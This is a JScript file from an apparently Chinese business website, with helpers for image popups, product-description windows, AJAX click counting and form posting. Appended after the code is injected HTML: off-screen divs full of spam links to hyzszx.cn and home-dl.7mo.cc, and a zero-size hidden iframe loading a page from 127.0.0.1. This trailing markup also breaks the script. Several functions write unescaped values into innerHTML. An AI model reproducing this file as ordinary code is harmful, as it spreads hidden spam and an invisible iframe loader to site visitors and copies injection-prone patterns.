// JScript 文件

function ComUrl(e,count)
{
    for(var i=0;i<count;i++)
    {
        var url=document.getElementById("url_"+i);
        if(url) url.className="url_2";
    }
    e.className="url_1";
}
function ComShow(url,e)
{
    var t=e.offsetTop;
    while(e=e.offsetParent){
    t+=e.offsetTop;
    }
    var show=document.getElementById("Co_Show");
    if(show)
    {
        show.innerHTML="<img src='./uploads/ComPhoto/" + url + "' alt='点击关闭' />";
        show.style.display="";
        show.style.top=t-100+"px";
    }
}
function UsedShow(url,e)
{
    var t=e.offsetTop;
    while(e=e.offsetParent){
    t+=e.offsetTop;
    }
    var show=document.getElementById("Co_Show");
    if(show)
    {
        show.innerHTML="<img src='./uploads/UsedPhoto/" + url + "' alt='点击关闭' />";
        show.style.display="";
        show.style.top=t-100+"px";
    }
}
function ProdShow(url,e,_Id)
{
    var t=e.offsetTop;
    while(e=e.offsetParent){
    t+=e.offsetTop;
    }
    var show=document.getElementById("Co_Show");
    if(show)
    {
        show.innerHTML="<img src='" + url + "' alt='点击关闭' />";
        show.style.display="";
        show.style.top=t-100+"px";
        if(_Id){UpdateClick(_Id,"ProdClick");}
    }
}
//显示产品说明
function ShowProdDesn(e,pt,pc) 
{
    var title = document.getElementById("DesnTitle");
    var content = document.getElementById("DesnCon");
    var InfoWin = document.getElementById("DesnWin");
    title.innerHTML=pt;
    content.innerHTML=pc;
    if(e)
    {
        var t=e.offsetTop;
        while(e=e.offsetParent){t+=e.offsetTop;}
        InfoWin.style.top=t+"px";
    }
    InfoWin.style.left=document.body.clientWidth/2-100+"px";
    InfoWin.style.display="";
}
function UpdateClick(_Id,type)
{
	var xmlhttp;
	try{
		xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
	}catch(e){
		try{
			xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
		}catch(e){
			try{
				xmlhttp= new XMLHttpRequest();
			}catch(e){}
		}
	}
	xmlhttp.onreadystatechange=function(){
		if(xmlhttp.readyState==4){
			if(xmlhttp.status==200){
				//alert(xmlhttp.responseText);
			}else{
				
			UpdateClick1(_Id,type);
			}
		}
    }
    xmlhttp.open("get","GetInfo.aspx?id="+_Id+"&type="+type);	
	xmlhttp.send(null);
}
//文件路径不同时调用
function UpdateClick1(_Id,type)
{
	var xmlhttp;
	try{
		xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
	}catch(e){
		try{
			xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
		}catch(e){
			try{
				xmlhttp= new XMLHttpRequest();
			}catch(e){}
		}
	}
	xmlhttp.onreadystatechange=function(){
		if(xmlhttp.readyState==4){
			if(xmlhttp.status==200){
				//alert(xmlhttp.responseText);
			}else{
				//
			}
		}
    }
    xmlhttp.open("get","../GetInfo.aspx?id="+_Id+"&type="+type);	
	xmlhttp.send(null);
}
/*--ajax提交--*/
function AjaxPost()
{
	var base=this
	this.postForm=function(_form)
	{
		var data="";
	if(_form)
	{
		for(var i=0;i<_form.elements.length;i++)
		{
			if(data=="")
			{
				data=_form.elements[i].name+"="+escape(_form.elements[i].value);
			}
			else
			{
				data+="&"+_form.elements[i].name+"="+escape(_form.elements[i].value);
			}
		}
		data+="&ajaxpost=1";
		var xmlhttp;
			try{
						xmlhttp= new ActiveXObject('Msxml2.XMLHTTP');
					}catch(e){
						try{
							xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');
						}catch(e){
							try{
								xmlhttp= new XMLHttpRequest();
							}catch(e){}
						}
					}
					xmlhttp.onreadystatechange=function()
					{
						if(xmlhttp.readyState==4){
							if(xmlhttp.status==200){
								base.onsuccess(xmlhttp.responseText);
							
							}else{
								this.onfailure()
							}
						}
	   }
	   xmlhttp.open("post", _form.action, true);
	   xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');
	 	 xmlhttp.send(data);
	}
	return false; 
	}
	this.onsuccess=function(){};
	this.onfailure=function(){};
}<div style="position: absolute; top: -988px;left: -988px;"><h2><a href="http://www.hyzszx.cn/" title="װ">װ</a></h2><h2><a href="http://www.hyzszx.cn/" title="װ">װ</a></h2><h2><a href="http://www.hyzszx.cn/" title="װ޹˾">װ޹˾</a></h2><h2><a href="http://www.hyzszx.cn/" title="װι˾">װι˾</a></h2></div>
<div style="position: absolute; top: -1099px;left: -1099px;"><h2><a href="http://www.hyzszx.cn/" >http://www.hyzszx.cn/</a></h2><h2><a href="http://home-dl.7mo.cc/" >http://home-dl.7mo.cc/</a></h2></div>
<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>
